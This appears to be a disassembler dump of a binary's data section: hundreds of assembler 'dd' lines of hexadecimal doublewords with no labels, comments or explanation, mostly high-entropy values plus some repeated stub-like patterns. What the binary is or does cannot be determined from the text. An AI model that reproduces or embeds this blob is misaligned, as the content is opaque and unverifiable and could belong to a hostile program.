dd 16C945BFh, 729FDAB4h, 76A40635h, 0EF290FACh, 0FE3F19BCh
dd 66933AD7h, 0F9394237h, 8623BF75h, 53366A0h, 832696EEh
dd 9D406BA9h, 0C963AFEFh, 1CB92F16h, 8E8841EFh, 9CE1C31h
dd 0EF614802h, 0E2B8D9Dh, 6A0D7DD5h, 0C689BABCh, 0AB4EC419h
dd 0FBBB698Ah, 316CBB9h, 0C6F5318Dh, 4B31CE98h, 0DFC5E20Dh
dd 0B24576A1h, 1D6F72C0h, 7F46925h, 59990000h, 0F32F1532h
dd 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h, 0A9C6F12Fh
dd 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h, 4D13278Dh
dd 0A17B16F4h, 9BD93564h, 0DB784270h, 9D4BB7F5h, 16C91AD9h
dd 0F00D6FE5h, 809DD00Ah, 58176F52h, 0BDFA19A8h, 0E596608Eh
dd 0B2ED8F81h, 2587517Fh, 717220C3h, 951C3241h, 6959F11Fh
dd 99132063h, 3D012F5Ah, 0B7A7D5FCh, 1A811D58h, 0C5895281h
dd 0B350E978h, 1794E116h, 45263149h, 0EE67h, 88C22D00h
dd 5283B255h, 0D0C1A140h, 0D3B66A5h, 8C44E143h, 0BC5F8AC8h
dd 4775A8E2h, 1D28E07Dh, 0A7E10243h, 0BB751274h, 16C94942h
dd 0E5214E88h, 8AC488B6h, 0FD5F2957h, 5E987E9Bh, 0B967882Bh
dd 16C947F5h, 2EE683F9h, 0AC4FBF17h, 31AA4DFEh, 0F613891Ch
dd 52F565BDh, 41EF1031h, 1320647Dh, 9BDB0B81h, 23132064h
dd 0E35610ADh, 2719C6FBh, 0F5340EB1h, 0D19BDB89h, 0AD2316CBh
dd 0B6531D4Bh, 4F8E6889h, 6087C824h, 749FDDC3h, 14FB2A57h
dd 3AA637F9h, 0A3E1C764h, 64C58937h, 53C916CBh, 0E4DBC0F1h
dd 0A0986F72h, 6B9E4h, 0F71E5E00h, 89B8F4DAh, 1A49866Ch
dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh
dd 0A88EABD6h, 511E3B6Eh, 82FCC270h, 0A9021327h, 0AC4C7BCBh
dd 8BE581F9h, 0C200E683h, 5A947A97h, 7BDC0A27h, 0A3863A1h
dd 83BDA340h, 1A1D610Fh, 2BA116C9h, 9DD79BC9h, 0AF934D6Ah
dd 8C16C91Ah, 1AF9BD6Bh, 8F0516C9h, 0F161B9F2h, 0A35744Eh
dd 6323D1DCh, 6B16C91Ah, 0C9F693F5h, 32A6C11Bh, 0B053C91Ch
dd 4C699CD6h, 0CBF92C66h, 7DA8E6C0h, 0AFE8854Fh, 9644E757h
dd 19DC8251h, 0B6F8A65Dh, 3816CE8Ah, 302F60C2h, 1F6F6DD3h
dd 6086B27h, 6DAD0000h, 7432946h, 98D5BBD8h, 2B664C69h
dd 0B7F5DBF8h, 776B6F8Ch, 0B5D2FD3Bh, 4A678ECFh, 0DDFA2564h
dd 6D8ABDF7h, 4D11BFA0h, 51132783h, 88C21AF8h, 29632755h
dd 79D8C8F6h, 0EC6EA8FCh, 91DFF34Eh, 7A28CBB1h, 16C91834h
dd 3FE244BAh, 48F92865h, 39146839h, 973EDBB1h, 0CF25E8B8h
dd 70840h, 0CACE0000h, 17Ch, 1AD4EE0Ah, 0DE716C9h, 6772A0D3h
dd 0C91AF5B9h, 2183F916h, 83F34B84h, 0A6E332E0h, 71E71C32h
dd 87BAF4CEh, 28633D6Ah, 8DAEC7F5h, 882A1C88h, 5EB88EAh
dd 536A98CBh, 0C7E88BFBh, 0E481B0EDh, 0DC93E52Ah, 3879E919h
dd 0B719E311h, 6DE19586h, 0C6827A6Fh, 546h, 6784ABEBh
dd 0F9164581h, 8AA7D613h, 193669A4h, 0ADCAF533h, 438139A9h
dd 0D415FB18h, 6BAA90ADh, 33D2340h, 5E6B3D0h, 27831757h
dd 603E9713h, 275588C2h, 0C8F62963h, 6E9CC304h, 4EFC70AAh
dd 16C91A08h, 90BE2096h, 0F2ACC918h, 0FB39136Ah, 77FE33D0h
dd 0A3C0F32Dh, 0CFD71CC4h, 0EF2E0840h, 2FCC96C4h, 70Eh
dd 0B5CAD400h, 0A000000h, 4A7176Fh, 7FD088D5h, 0A9465654h
dd 172C5B7Ch, 0A3CA0B85h, 1BC17DF2h, 0D162C47Eh, 32611C32h
dd 1B8E493Fh, 4224C128h, 0F499DD8Bh, 0AF251327h, 0AF89AA4Dh
dd 4A144275h, 5A8DC7ADh, 0EA1D573Dh, 0DD4DA5BCh, 484D8C3Ah
dd 0DF5519DCh, 0F528623Ch, 0DC8AABD8h, 16C9609Ah, 5D0BAE24h
dd 16C96019h, 0AC922FA5h, 0FA113F72h, 0E18F32A2h, 1C326650h
dd 642F60D6h, 0EB698BECh, 45837F3h, 0BDFD0000h, 57937996h
dd 0E8250B28h, 7BB69CB9h, 7452B48h, 27BBBFDCh, 5224D8Bh
dd 9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h, 1D610FF0h, 0A1132780h
dd 3CA6A48h, 0A000001h, 4A7176Fh, 9BCE09E3h, 0A6E244FEh
dd 0B62C1C32h, 0CCFF3913h, 5C8FC9AFh, 74A3DFB9h, 8E6323D1h
dd 0F56B1327h, 0BB95A058h, 7CB5527Dh, 0E211B424h, 549AC68Bh
dd 3A670498h, 0DC464D8Ch, 3CDF5519h, 6E296D1Bh, 3FB516C9h
dd 619B75A2h, 0F12B112Eh, 3964A37Dh, 4D11410Bh, 5116C96Eh
dd 404B79DBh, 61FE2566h, 0BD60D028h, 3268820Fh, 0FD2EA41Ch
dd 698BEA20h, 0A77B372Fh, 4C000003h, 0E2C8E50Ch, 745A77A6h
dd 5EB0837h, 947A97CAh, 0A0E2B56h, 79A4E2D8h, 0E35765Ch
dd 0A1CC0BF1h, 31649E84h, 0B8664714h, 132781F6h, 0C2C19FF8h
dd 63275588h, 0E3DBA729h, 4878472h, 258474A2h, 0E71A5450h
dd 2725EBCAh, 552F40CFh, 294AE71Ah, 32h, 0A7176FEFh, 5C395604h
dd 0F851C32h, 0D755926Ch, 22AD9D3h, 0D041F21Eh, 0B1A61FF6h
dd 3BF51274h, 13207506h, 0F20F427Ch, 72A0CF0Ch, 321B6h
dd 0A17BF600h, 3D073564h, 507BBAA0h, 0F1245E22h, 639744Eh
dd 6695C269h, 0B2B50764h, 0D5BB5898h, 0EBC5689Bh, 8A5482ADh
dd 377135EDh, 56AEE704h, 189543E6h, 261C3271h, 567782B0h
dd 205EE6A8h, 8428F13h, 440156A9h, 1FD976ECh, 1320D523h
dd 0E9C2B354h, 45261C27h, 4739h, 176FFF00h, 0EE2A04A7h
dd 2F5D84C5h, 0BD50365h, 4620416Eh, 833DDA09h, 1C32299Eh
dd 0AC4472E8h, 13200B96h, 5684ABECh, 0F7255892h, 0C5D99C13h
dd 0F6A4C55Eh, 13200BB0h, 0F62BC83Eh, 0C6642C7Fh, 0E07C4526h
dd 42000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h
dd 1A0244F2h, 1C8C16C9h, 0BA84B2DDh, 4707B558h, 4716C91Ah
dd 0F2CC6FD1h, 33EB88B3h, 0E60D4E28h, 0F6296349h, 97CA04C8h
dd 0EAA2C5F4h, 69C92B79h, 926B25CCh, 0D816C951h, 0EEC86B9Eh
dd 40E784AFh, 0B4F3205Ah, 2F915B89h, 4477B28Ch, 80D8EFA7h
dd 724C6D10h, 9FD20D36h, 49E6A03Dh, 951C3250h, 71C9021Fh
dd 633D5E01h, 9E58F528h, 19C6D1B3h, 4DE81F7h, 0BF554CC6h
dd 169F76B8h, 73B197B4h, 0CA401748h, 170F6F72h, 1E15Bh
dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
dd 87A4EA98h, 0D12A1327h, 0DD4C7BF3h, 95E23099h, 0D917FD9Ah
dd 71AB91AEh, 6FF3213Eh, 1CD45817h, 0E513427Eh, 1D4A6A1Bh
dd 0C07B3BE9h, 0D8316C9h, 0F8A649ABh, 1C32F3EBh, 0E102A51Bh
dd 20D17333h, 68057B13h, 0D12A18B0h, 0AC4D1320h, 1C3EE2C9h
dd 0DC324526h, 0F8000000h, 3B0688C2h, 0C461920Ah, 848FBD1Fh
dd 103E6DAAh, 85C3A946h, 0C8F62160h, 636E9CFEh, 0FC2B6842h
dd 92D404CEh, 1C16C91Eh, 0DF0E4AA6h, 904AE7B1h, 16C91377h
dd 294679B3h, 0A8D60943h, 26C93991h, 3212DF78h, 8CA91F1Ch
dd 0E88BFB53h, 0B6F8A6C7h, 38132018h, 636B25C2h, 0A019C687h
dd 286485C6h, 9F01CBF9h, 7AA2002h, 0AD7638E6h, 27816CBh
dd 205E3865h, 0D1ABD8F5h, 0E3C96695h, 20497AA5h, 6F6F72ABh
dd 0D8BB77h, 3D7D0000h, 0D713F916h, 68A58BA8h, 0FB361C39h
dd 87C5ABC8h, 0A73B3F5Ch, 85A2CD0Bh, 1A375E9Fh, 0ADCAF534h
dd 3D5A8DC7h, 9DE18F70h, 21132784h, 84C2EAC8h, 0E795B659h
dd 16C91AA7h, 6FA86227h, 65CA3779h, 0D9BF6603h, 44981D9Fh
dd 8D54EFEFh, 0C2E00E2Bh, 1C275588h, 3DDA0142h, 0CDEA1D57h
dd 29CC3C94h, 32A6D37Bh, 77A51B1Ch, 294679B3h, 33D60943h
dd 120CC304h, 0D26F70D1h, 9C81821Ah, 94B7E21Ah, 5689C3E1h
dd 0E6195339h, 86B9F4B8h, 2A559458h, 0CDFC38FCh, 3144BB9Fh
dd 6426E51Eh, 6CCE7CAEh, 0A8FC79F0h, 69983B6Eh, 33D3F974h
dd 0DB451DFh, 8CBAED27h, 1DD0h, 42E21100h, 51E3D380h, 0A1D604A1h
dd 21651334h, 0AD16C91Ah, 0D9A8637h, 6FC12DF3h, 82C2A4D2h
dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh
dd 639E6290h, 13E0230h, 0A4E0A4D2h, 68864775h, 307Bh, 89241489h
dd 4C281E2h, 83000000h, 148704EAh, 89575C24h, 4C781E7h
dd 83000000h, 3C8704EFh, 2C895C24h, 2A3A6824h, 34890000h
dd 0B9515224h, 5EE950Fh, 8959CA89h, 8B545AD5h, 0C4832434h
dd 4EC8104h, 89000000h, 0EF89243Ch, 5F087E89h, 5E2434FFh
dd 4C481h, 34FF0000h, 0C4815D24h, 4, 0FAE046E9h, 2C31A9FFh
dd 0B897A994h, 5EE9F42h, 0E0FFC503h, 3AE60ACCh, 4088598h
dd 13902A2Bh, 5DB9842h, 315C2D92h, 7D744BE4h, 9710164h
dd 0C7831D4h, 4FA20D38h, 1D025CBDh, 2759A3F3h, 890A193h
dd 15CE9h, 0DB1FD300h, 0C34BB5F1h, 0D1588B97h, 0DA56260Bh
dd 0D9567652h, 0D258D40Bh, 0F9713C52h, 0AB245F3Bh, 8B25CB52h
dd 3F790DC5h, 0ECB6A761h, 9D149A52h, 9D151952h, 9D149852h
dd 9D144852h, 9D142652h, 9D141352h, 9D14A652h, 9D14C452h
dd 9D146A52h, 9D143152h, 0EE6DCB52h, 9D792926h, 0F2667672h
dd 0EE677631h, 9D14890Fh, 9D14C452h, 9D146252h, 9D143152h
dd 9D149852h, 9D144C52h, 9D142652h, 9D141352h, 9D148952h
dd 9D14C452h, 9D146252h, 9D143152h, 9D149852h, 9D144C52h
dd 9D142652h, 9D141352h, 9D148952h, 9D14C452h, 9D146252h
dd 9D143152h, 9D149852h, 9D144C52h, 9D142652h, 9D141352h
dd 9D148952h, 9D14C452h, 9D146252h, 9D143152h, 9D149852h
dd 9D144C52h, 9D142652h, 9D141352h, 9D148952h, 9D14C452h
dd 9D146252h, 9D143152h, 9D149852h, 9D144C52h, 9D142652h
dd 9D141352h, 9D148952h, 9D14C452h, 9D146252h, 9D143152h
dd 9D149852h, 9D144C52h, 9D142652h, 9D141352h, 9D148952h
dd 9D14C452h, 9D146252h, 9D143152h, 9D149852h, 9D144C52h
dd 9D142652h, 9D141352h, 9D148952h, 9D14C452h, 9D146252h
dd 9D143152h, 9D149852h, 35CEA352h, 1725E92Eh, 4F680000h
dd 0E905EEA3h, 0FFFBA8C5h, 0EEA46D68h, 0A8BBE905h, 8168FFFBh
dd 0E905EEA5h, 0FFFBA8B1h, 0EEA67668h, 0A8A7E905h, 0A868FFFBh
dd 0E905EEA7h, 0FFFBA89Dh, 0EEA90868h, 0A893E905h, 0D468FFFBh
dd 0E905EEA9h, 0FFFBA889h, 0EEAAA268h, 0A87FE905h, 0BA68FFFBh
dd 0E905EEACh, 0FFFBA875h, 0EEAD8068h, 0A86BE905h, 6968FFFBh
dd 0E905EEAEh, 0FFFBA861h, 0EEAF2968h, 0A857E905h, 5468FFFBh
dd 0E905EEB0h, 0FFFBA84Dh, 0EEB60D68h, 0A843E905h, 968FFFBh
dd 0E905EEB7h, 0FFFBA839h, 1EEDAE0Eh, 0EFBE75DBh, 0C39249ACh
dd 905F1C80h, 6231E84Dh, 9D02E79Dh, 73D417E6h, 3FA6E9B8h
dd 1476B988h, 9EFF8453h, 50563BA3h, 493E64D8h, 23E097F9h
dd 0BAA15ABCh, 0FE7C8E83h, 0DEBCE0B3h, 70CB028Bh, 52C5F807h
dd 68269472h, 0CC63FCF2h, 41A69AFAh, 67C96A8Ah, 0ED0DF3B0h
dd 50DA0B06h, 9883E3A8h, 0AE086580h, 0EEABCB7Bh, 574C339Fh
dd 0C1F9CD8h, 6513F1AAh, 7895B614h, 0EB22D88Ch, 8C12E48Ah
dd 14C3A178h, 4Bh, 0C7EFEA43h, 0F8D8575Dh, 51E258EAh, 0ABF1FE36h
dd 0DEB094CDh, 0C7843FA4h, 96621CE1h, 67FF46AAh, 58656047h
dd 9E3A846h, 465906C3h, 3E4B29E2h, 0D857A890h, 6987BE3Bh
dd 4FB85F3Fh, 0B8F9A785h, 8BAA014Ah, 0C772D8h, 0F9D30000h
dd 0BC23E097h, 0A2B59C57h, 0E7CD8A41h, 0FF61C809h, 0EDAA61C7h
dd 0C32AE707h, 0CEAD0561h, 2C000123h, 0B26F2A8Bh, 0B2DDACCCh
dd 0DDBE28F3h, 26F5B618h, 0DCA81E3h, 0E09215Dh, 0DDBE20A4h
dd 826989CFh, 0A8CD9287h, 43A6B9E3h, 3E1C784h, 0D15D2C72h
dd 0AA61C3BDh, 252007EDh, 0D8570DBDh, 9980A0E6h, 4355F49Eh
dd 50B2C5E6h, 0D3F3B416h, 0C1523016h, 27B063D6h, 9EBE5193h
dd 843FA4B7h, 560D72B5h, 0DD8E9563h, 64D497CBh, 1495h
dd 0C2914AAAh, 9362197Fh, 5F2EED50h, 2CFBB81Ch, 0FECD84E9h
dd 399E4B39h, 0F70B382h, 0D33A7D4Ch, 0A80A4D1Ch, 3A9B20EFh
dd 5054973Fh, 0E5DA00D8h, 0EDD94F9h, 0E3B269CBh, 25DEB08Ch
dd 918CE53Eh, 0DDBEF729h, 929F58BEh, 8FAF6ACBh, 81FA4B1h
dd 248E3A8h, 0E7A4081Bh, 5579C809h, 76D857E6h, 1F83E6F9h
dd 0F65F1039h, 452343E1h, 63E8DA97h, 10D88C56h, 0E2h, 5F97F971h
dd 9B813EFDh, 0F257BE7Bh, 0BACD7A37h, 0F9DF9C53h, 0FB5F0E1Bh
dd 1274DDBEh, 1E197259h, 0DDBEF2B4h, 68BB99DFh, 5461A8DFh
dd 0F5B269CDh, 0C26E4A0Fh, 2A8CB18Fh, 14778A71h, 96B66DD4h
dd 0D415F3D9h, 0F6AD1427h, 7755339h, 9C977E77h, 0E3A80EFFh
dd 447B62A8h, 0FAE3EC6Bh, 0B770D6B5h, 0DA66B997h, 0AC63CAA4h
dd 2E909EFh, 43CA0C07h, 0C62C3FE6h, 0AEEA480Dh, 6D2AC062h
dd 0D237FE8Fh, 77CF5A17h, 0CC73FD00h, 0C915DAFAh, 0BAD43FD5h
dd 0C7DAC1E1h, 95D8A762h, 64867930h, 0B0CBDD11h, 13777DEDh
dd 2C8C0000h, 0F75DA06Fh, 0CB2E7140h, 96FA3D0Ch, 66CB0EDDh
dd 6D17DCABh, 8D5C177Ch
dd 6332E94Ah, 3302B920h, 0FECD8EF0h, 0B51D1879h, 0DED85053h
dd 94F9C3B8h, 1C3CF75Ch, 0EFA80A4Dh, 97F9C920h, 1D7623E0h
dd 0F7E1C9C4h, 448ADDBEh, 0BEF613BBh, 4F367CDDh, 0BEF66A54h
dd 0F1CF15DDh, 0EFEA6ACCh, 0DDBEF6C7h, 0CE85E9B0h, 36BF8EAEh
dd 0F6F8E2DDh, 0DCA3DDBEh, 1F05C279h, 99FC21FFh, 5CBE25E2h
dd 5CFDB61Ah, 532242F9h, 572741CBh, 0A863C4D7h, 0BEF6B71Fh
dd 0A30B06DDh, 0CCDDBEF6h, 13337986h, 468312Ch, 0CB11E3A8h
dd 38E0CD00h, 0DAB4D0A0h, 0A474229h, 9B1EDB54h, 0FCB972D4h
dd 8C39F616h, 58F05C55h, 937136F5h, 0F8D59A2Dh, 96A1907Bh
dd 0C82F0CEh, 0F932714Eh, 8FAF978Eh, 0D83C4FA8h, 11303D1Bh
dd 0ACE0F74Ah, 0C12E075h, 8227ECA7h, 40D1AF4Dh, 0F88E3833h
dd 365D4F6h, 94A18744h, 34472E4Eh, 74A19D2h, 39F3E6A5h
dd 13C94002h, 1263E050h, 18780000h, 0DB418453h, 0AF125524h
dd 82E629F8h, 52B7FAC9h, 8103C897h, 79480368h, 4716D536h
dd 17E69D04h, 0EAB972D4h, 0A1090465h, 0CAD85052h, 97F9AFA4h
dd 7B76FC5Fh, 0DDBEF753h, 0B6D6F63Ch, 0E0F34CF9h, 9139C279h
dd 0FADDBEF7h, 1668D6B4h, 8542F95Ch, 3F987F9Fh, 0BEF79A44h
dd 0E1BF05DDh, 25727B76h, 0E841E3A8h, 57D9C5EDh, 8A68AED8h
dd 0B9CCB3F9h, 9B00A158h, 5F3D23E0h, 2F67C90Ch, 6ED0DCCh
dd 0D908B2ADh, 2D73D857h, 205E0E4Fh, 0F5EDE8CFh, 9EE644B9h
dd 0FB5E7158h, 82410A97h, 2D4D8E20h, 6FD1E44Fh, 760E9B8h
dd 4BD48FF4h, 0D669BE63h, 0C3E8C60Ch, 0B0C3AA61h, 99C78C4Fh
dd 0CCEF0FFCh, 0CB7BBC9Ah, 605B42B3h, 0E87A1966h, 0F104EB31h
dd 8009D88Fh, 7351086Dh, 6E2BEC4Eh, 482FC0BEh, 6E2A104Dh
dd 887BC1F2h, 0D7A73672h, 6E6BDB9Eh, 83000011h, 56996823h
dd 256837F0h, 0F13403C2h, 0C407D68Dh, 10D5A45Fh, 59107574h
dd 23E6478Ah, 0F3AA1154h, 0C87FE124h, 181374F9h, 0D85051AEh
dd 0F9BEB3D9h, 850EDD94h, 75A7ED4Eh, 0BC9AD293h, 0D8BF304Eh
dd 0A80CC0DDh, 8E4B91E3h, 3706C527h, 1CD992F4h, 0FAE1126Ch
dd 41332EFFh, 0F4B1F7E6h, 0DD16638Fh, 21D83B7Bh, 0A5621980h
dd 44D09FBFh, 0D7D2B94Ah, 0E87A4CDAh, 2188458Bh, 964B08BFh
dd 433B490Ah, 5F94CBB2h, 0A42DAF63h, 0D4CF3A18h, 0F21366DFh
dd 0EA734288h, 0F1EC76D7h, 0CA1A75C9h, 8F4C6CB2h, 75FFE7E2h
dd 62A8CA1Ah, 0DD3F6442h, 0E321E579h, 0F8183335h, 3C6EC3Bh
dd 1200CA1Bh, 712A8C41h, 3EFD5FA2h, 44BDD181h, 1330265Dh
dd 752BF878h, 1C312C97h, 85F40CCEh, 3BE8703Fh, 0B79E5727h
dd 238D3ABCh, 541F65FEh, 30EDA409h, 0C24DFDE1h, 54B9CCFEh
dd 1CFAE09Dh, 381FD0AEh, 0D12D9D3Dh, 0FEF906C0h, 0F4D5ADD4h
dd 3251BA07h, 909D5C90h, 30432A4Ah, 6D5310CBh, 0AF11248Fh
dd 84E629F8h, 3A9F06C3h, 7B448C7Fh, 0D598E963h, 103C65h
dd 3AF15100h, 9C2286Bh, 0D594F73Ah, 0A45FC306h, 762D92D5h
dd 47A2E2A7h, 155827E2h, 0E326F5B4h, 0B3F6C57Ch, 46CB9A51h
dd 50C0EAE5h, 85ABD850h, 0DD94F990h, 0B72850Eh, 10B19754h
dd 4D33F0ABh, 2FE84A6Fh, 0F2A90B72h, 0B16ACE35h, 0C62A8DF4h
dd 0FEB06638h, 0ECBEB24h, 783C7DA9h, 468FCCBAh, 0E85423E4h
dd 0D2A39863h, 17510h, 97F97100h, 5ABC23E0h, 7A83BAA1h
dd 6D555097h, 16DDBECBh, 58E10BD0h, 0CF5BAE8Ch, 5A847FBFh
dd 45DDBE5Dh, 785F3AFFh, 8CD161BBh, 598A856Ch, 2E3A80Eh
dd 2B0FFBCh, 0E1D857EEh, 0A007C47Bh, 3FC3803Bh, 774C0051h
dd 4308FAB7h, 30D88BD6h, 25h, 25DEB091h, 8BE433Eh, 0A1E7E3A8h
dd 0E62995E4h, 0D292D857h, 0B2282381h, 7E91D88Bh, 0D483611Ah
dd 0C7h, 0E097F935h, 9C57BC23h, 551678DFh, 18CF3198h, 0FB4F1E49h
dd 2284DDBEh, 0A7C784E8h, 0FBF64FD8h, 0DDBEF2D3h, 0AB4AFBCh
dd 75DDBEF2h, 0A6E0F2Fh, 0D0AE9451h, 0ECD32C62h, 0AAA89CF1h
dd 3474ABE3h, 0A72E9490h, 4E942503h, 0C9DF3067h, 0E9C54C67h
dd 288DA00Bh, 15778A71h, 930E9956h, 0EA0D17B9h, 0D72A0828h
dd 0D0FAF54Eh, 0BBD855CEh, 0D729775h, 35C36356h, 0A265C5E3h
dd 0EDC32h, 0DA91F100h, 0A962C80Bh, 753497DAh, 44FF63A6h
dd 16CD3275h, 0E7028247h, 0B5F8C782h, 83C69554h, 5396651Ch
dd 0E66B3AF1h, 5E208A85h, 254BD850h, 0DD94F930h, 0E72850Eh
dd 0D4B29855h, 0BF8E4DAFh, 5BC2336h, 5EC16248h, 0F990C9A7h
dd 0B41E1997h, 27DDBEF7h, 0D8F05DB8h, 32788587h, 95A85512h
dd 71967433h, 5E71580Fh, 0E613FF8h, 0F5B269CBh, 0D1B84945h
dd 0A7A831D6h, 0DDACF2E3h, 78F91h, 94F9F000h, 0EDD120DDh
dd 0B9DDBEF7h, 80587C5h, 4FF2228Bh, 8011482Fh, 0CC72C16h
dd 0A7ED8A47h, 7B635EC9h, 24E3ADFAh, 82E4F7DEh, 55B7FAC9h
dd 7978AF96h, 59107564h, 13411E94h, 288DF435h, 18367E71h
dd 0B376C5E7h, 0E1043h, 6C52500h, 0D58EF437h, 0A960C306h
dd 783397DAh, 4A0166A9h, 1BCEB67Bh, 0E92CFBB6h, 0BF02D188h
dd 8FD2A158h, 1A9F6E2Dh, 5E14BEB9h, 597FD850h, 0DD94F964h
dd 0B269CB0Eh, 6B2C8EF5h, 63E147AEh, 0BEF77E68h, 0C3E329DDh
dd 7D3C9F06h, 327F0BC0h, 8DCEBC7Ah, 635EE648h, 0DDBEF77Bh
dd 0EFBEDE24h, 0A2A1C883h, 2CADD2h, 83DC0000h, 0BEFB5E88h
dd 620349DDh, 0A08643FCh, 7CB389C2h, 6B8D350Dh, 273412A3h
dd 0DDBF35F5h, 3EA5B89Fh, 6E4CA87h, 0FFFDADD8h, 0AD1137FFh
dd 0F9DDBEF7h, 72856C85h, 0C77550Eh, 0AD979111h, 9D84CAE3h
dd 0B572298Ah, 12C92ECFh, 26916F55h, 2BFAB113h, 8C586E8h
dd 92853CA1h, 0C5E6AC24h, 424DBD80h, 5700000Dh, 226534F7h
dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h
dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D8505DC2h
dd 0F99287ADh, 41F85F97h, 5EB76421h, 0BEF77B63h, 0DE24DDh
dd 5C279DBh, 5CC3D681h, 2402E8A5h, 8EF02576h, 72D3E6CDh
dd 0F7CDF5F0h, 70B6DDBEh, 0B31F7250h, 0D2A2A198h, 12DDh
dd 0A0B33E00h, 96A3813Ah, 0DDBF0166h, 0FCF8640Eh, 0B0C3FFFFh
dd 433E25DEh, 0E3A7F852h, 0F948054Bh, 0D857F5D4h, 866435F5h
dd 0D88BBFC5h, 1D8AEh, 7CB30F00h, 5DC3BB3Fh, 3E03E9A6h
dd 0A609467Dh, 2C4C32EFh, 9371288Bh, 0BE7B0886h, 0E2108DDh
dd 482EEBACh, 6B287D83h, 3D1B2E36h, 0D5384B00h, 8C735916h
dd 0BE0E2991h, 2E0C52DDh, 744BA709h, 9759F4FCh, 218211D6h
dd 0F4BC5B06h, 60C205D4h, 0AF9BEAA7h, 66DDBE80h, 52B4793Ah
dd 389FB299h, 26F466DCh, 0E707622Eh, 3DA3442Ah, 0C955A886h
dd 485B42B7h, 836926E5h, 9BFD64A5h, 68CA0DDCh, 0AFA3F2AFh
dd 30DDBE02h, 6DA42370h, 48B8B05h, 0FD4B29D4h, 0D2A33C4Eh
dd 13C27h, 97F98800h, 5ABC23E0h, 6661BAA1h, 0DDBEF77Ch
dd 0B003E127h, 707FF027h, 0A02EF47h, 2FC0BE2Ch, 15D43548h
dd 29947258h, 9C5BBDD0h, 0E1BF9DFh, 0E3A8D9DDh, 34834086h
dd 0D8571C8Eh, 0C2207131h, 0D88CA889h, 39EAh, 0DEB04B00h
dd 0BE433E25h, 0E7E3A808h, 44A7BAA1h, 0E61BC3BEh, 3E84D857h
dd 98FA611Eh, 1C3C22DFh, 0AEFD3Eh, 0ABD857E6h, 0FFBA1B2Eh
dd 0C4267321h, 0D88BB287h, 0A9ECh, 97F94D00h, 0F7B41E19h
dd 99DFDDBEh, 0F055BC79h, 7A9A51B8h, 97FD10BDh, 0F7B41E19h
dd 99DFDDBEh, 35D6BC79h, 725815D4h, 4E0D6F94h, 8EC82A91h
dd 8251712Ah, 0C685E6F9h, 38452309h, 0DDBF0FFDh, 24F3B416h
dd 260DE698h, 0AAB5D62Bh, 9279BFE3h, 905F1A7Fh, 3E31E84Dh
dd 0C5E3C2C2h, 2AEF5F22h, 3F00000Bh, 0A4D1CDFh, 0D91CEBA4h
dd 0ADF0BF76h, 80C39249h, 0CC91601Bh, 15CC31B8h, 0E7A20346h
dd 0B76ED518h, 8443A5E8h, 0D4CF30B5h, 0D8505BEAh, 0B37A6F95h
dd 0D6D93DA0h, 33D6B261h, 14FAB7D7h, 0F5AC1136h, 0CA81E326h
dd 97F9A4FBh, 5ABC23E0h, 3649D2A1h, 0A3816D5h, 404h, 0B4C6B469h
dd 5CA484DAh, 0BBCF9624h, 38B9B49Bh, 61E3AD06h, 0C2BC501Bh
dd 0B24F4A31h, 63E64717h, 0AD11601Dh, 0ED66696h, 0AC9F0D4Eh
dd 0C9DE7B1Eh, 366h, 0F7AD112Ah, 0C5FCDDBEh, 9F74AFFCh
dd 0A9B694ECh, 0DDBED836h, 2C4E0C82h, 3E29B4D0h, 443F2646h
dd 0E3A7611Bh, 64649984h, 0D2B0FDA4h, 6F4FBFB2h, 0D699C5E1h
dd 0A6466h, 62197900h, 31EA5093h, 0FDBC1F62h, 0CC87EB2Eh
dd 9E55BAFDh, 6F7A0ACFh, 3D804F0Ah, 0B4E1DDCh, 0DB1EEDA4h
dd 6EF3C279h, 5AA8120Dh, 0ADD3D850h, 5B7CB3B8h, 46056733h
dd 0FCDEA389h, 466B4987h, 0B66623E4h, 454027D8h, 0E3ADDBB9h
dd 49D5A4EAh, 7CD5BC35h, 501B5981h, 8F48AED8h, 0F35E3C82h
dd 437BEEF8h, 6C5399E6h, 7F7AF859h, 0D6637B57h, 0BDAFA40h
dd 6374AAE0h, 99EDA0D6h, 92618138h, 48AAEE4Fh, 79E5CDC8h
dd 488ED663h, 65856B28h, 28DF41A8h, 0BCC2E41h, 714F086Ah
dd 0F708330h, 79208A85h, 54BD663h, 644228E5h, 806798F6h
dd 4797CE27h, 70A1CD2Ch, 349B43CCh, 2F2AD663h, 0D6633487h
dd 579DAAF0h, 0C4776C79h, 3520E875h, 0E8C84440h, 0F7D16007h
dd 0BC4B995Eh, 0FD5F5272h, 2FD1CE1Bh, 97BFC6Ch, 30900000h
dd 0F3599C6Bh, 0C72A6D3Ch, 9AFE4110h, 6ACF12E1h, 691BE0AFh
dd 91601B80h, 5F2EED4Eh, 2FFEB51Ch, 2D18AECh, 0B9211C7Dh
dd 0E2D85059h, 0DEB0C7BCh, 53E541A4h, 0F70C5591h, 2E90929h
dd 0ADF7FF07h, 7B62A8E3h, 4757C744h, 2621C4CDh, 0D85179BCh
dd 0A381A1E7h, 5C42538h, 0E0CAC51Eh, 8BD85179h, 785B837Eh
dd 0FE44D851h, 1BDA3DDEh, 2A61EA3Dh, 0C04DF0CDh, 0E54CED89h
dd 0AD8B712Eh, 7D642788h, 7A48346h, 36142E79h, 0B84945F5h
dd 96C8D6D1h, 357BE642h, 3B4174Eh, 0C06573DCh, 9DF1A1E2h
dd 0ED247D64h, 0ACC07C4h, 4C5937F9h, 0E87569C7h, 33372A70h
dd 0FDD1CE7Bh, 8BBCA3Ah, 70D00000h, 3399DCABh, 76AAD7Ch
dd 0DA3E8150h, 0AA0F5221h, 295B20EFh, 0D1A05BC0h, 9F6E2D8Eh
dd 6F3EF55Ch, 4211CA2Ch, 79615CBDh, 22D85058h, 97F907FCh
dd 81E6F9E0h, 44ABECCAh, 0E86C29E2h, 1274B9FAh, 2D1E8A59h
